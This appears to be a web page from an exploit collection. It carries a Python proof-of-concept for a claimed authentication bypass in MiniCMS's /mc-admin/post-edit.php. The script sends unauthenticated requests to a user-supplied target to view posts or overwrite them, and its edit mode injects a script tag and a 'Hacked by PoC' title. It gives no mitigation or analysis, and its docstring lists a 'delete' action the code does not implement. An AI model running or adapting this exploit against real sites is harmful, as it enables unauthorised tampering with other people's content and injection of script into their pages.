CVE-2025-15458 MiniCMS post-edit.php 认证绕过漏洞

import requests import sys # CVE-2025-15458 MiniCMS Authentication Bypass PoC # Target: /mc-admin/post-edit.php def exploit(target_url, action='view'): """ Exploit MiniCMS authentication bypass in post-edit.php action: 'view', 'edit', 'delete' """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Bypass authentication by directly accessing post-edit.php # Try to access without session cookies if action == 'view': # View posts without authentication endpoint = f"{target_url}/mc-admin/post-edit.php" params = {'id': '1'} response = requests.get(endpoint, params=params, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") elif action == 'edit': # Attempt to edit post without authentication endpoint = f"{target_url}/mc-admin/post-edit.php" data = { 'id': '1', 'title': 'Hacked by PoC', 'content': '<script>alert("XSS")</script>', 'save': '1' } response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[*] Edit attempt status: {response.status_code}") return response.text if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [action]") print(f"Example: python {sys.argv[0]} http://target.com view") sys.exit(1) target = sys.argv[1] action = sys.argv[2] if len(sys.argv) > 2 else 'view' exploit(target, action)